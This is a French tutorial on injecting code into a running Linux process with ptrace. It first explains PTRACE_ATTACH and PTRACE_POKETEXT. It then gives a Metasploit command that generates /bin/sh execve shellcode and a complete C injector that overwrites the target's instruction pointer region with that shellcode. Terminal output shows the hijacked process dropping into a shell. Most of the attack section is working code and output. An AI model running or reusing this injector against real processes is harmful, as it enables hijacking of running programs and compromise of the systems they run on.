# Injection de code avec ptrace sur GNU/Linux

description : Article sur l'injection de code avec ptrace sur GNU/Linux.
categories : Hacking;
tags : Linux; C;

Comment injecter du code avec ptrace sur GNU/Linux

Nous allons voir dans cet article comment injecter du code dans un processus en exécution avec l'outil ptrace sur GNU/Linux.

Qu'est-ce que ptrace

L'outil ptrace pour l'abréviation de process trace permet à un processus de déboguer ou d'examiner et de modifier l'exécution d'un autre processus.

Il permet entre autre, de stopper l'exécution de ce processus cible, de lire et de modifier les valeurs de ses registres et de sa mémoire.

Il existe deux façons de déboguer avec ptrace :

  • Le débogueur fork un enfant, et cet enfant exec le processus devant être tracé.

  • Le debugger s'attache dynamiquement au processus en cour d'exécution devant être tracé.

Voici le prototype de la fonction ptrace :

1
2
long ptrace(enum __ptrace_request request, pid_t pid,
                   void *addr, void *data);

Comment s'attacher à un processus en cour d'exécution

C'est la valeur PTRACE_ATTACH comme argument numéro un à la fonction ptrace qui permet de s'attacher à un processus en cour d'exécution. L'argument numéro deux étant le pid de ce processus.

Comment injecter du code dans un processus en cour d'exécution

On injecte du code dans un processus en cour d'exécution avec la valeur PTRACE_POKETEXT comme argument numéro un à la fonction ptrace, l'argument numéro deux étant le pid, le troisième étant l'adresse où il faut écrire et le quatrième et dernier étant la donnée.

Exploitation

Prenons ce code C pour créer le programme cible :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main()
{   
    char msg[] = "Hello World!\n";
    int len = strlen(msg);

    printf("PID: %d\n\n", getpid());

    for(int i = 0; i < 20; i++) 
    {
        write(1, msg, len);
        
        sleep(4);
    }

    return 0;
}

Je le compile normalement :

gcc cible.c -o cible

Comme shellcode, je vais utiliser le payload linux/x64/exec de metasploit :

1
2
3
use payload/linux/x64/exec
set CMD /bin/sh
generate

Voici maintenant le code permettant d'injecter ce shellcode dans le programme cible :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/reg.h>

#define SHELLCODE_LENGTH 47

unsigned char *shellcode =
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62"
"\x69\x6e\x2f\x73\x68\x00\x53\x48"
"\x89\xe7\x68\x2d\x63\x00\x00\x48"
"\x89\xe6\x52\xe8\x08\x00\x00\x00"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x56\x57\x48\x89\xe6\x0f\x05";

int inject_data(pid_t pid, unsigned char *src, void *dst, int len)
{
    uint32_t *s = (uint32_t *)src;
    uint32_t *d = (uint32_t *)dst;

    for (int i = 0; i < len; i += 4, s++, d++)
    {
        if ((ptrace(PTRACE_POKETEXT, pid, d, *s)) < 0)
        {
            perror("PTRACE_POKETEXT");

            return -1;
        }
    }

    return 0;
}

int main(int argc, char *argv[])
{
    pid_t target;
    struct user_regs_struct regs;

    if (argc != 2)
    {
        fprintf(stderr, "usage: %s <pid>\n", argv[0]);

        exit(1);
    }

    target = atoi(argv[1]);

    if ((ptrace(PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
        perror("PTRACE_ATTACH");

        exit(1);
    }

    wait(NULL);

    if ((ptrace(PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
        perror("PTRACE_GETREGS");

        exit(1);
    }

    printf("*** Injection du shellcode à RIP = %p ***\n", (void *)regs.rip);

    if ((inject_data(target, shellcode, (void *)regs.rip, SHELLCODE_LENGTH)) < 0)
    {
        exit(1);
    }

    if ((ptrace(PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
        perror("PTRACE_GETREGS");

        exit(1);
    }

    if ((ptrace(PTRACE_DETACH, target, NULL, NULL)) < 0)
    {
        perror("PTRACE_DETACH");

        exit(1);
    }

    return 0;
}

Pour tester, on lance en premier l'exécutable cible :

1
2
3
4
5
$ ./cible
PID: 14538

Hello World!
Hello World!

Puis l'exécutable qui injecte :

1
2
$ sudo ./injecte 14538
*** Injection du shellcode à RIP = 0x7f9e7fbe3d17 ***

Voici maintenant la sortie de l'exécutable cible :

1
2
3
4
5
6
7
$ ./cible
PID: 14538

Hello World!
Hello World!
Hello World!
$

Dans cette sortie, nous voyons bien avec le signe '$' que nous avons obtenu un nouveau shell \o/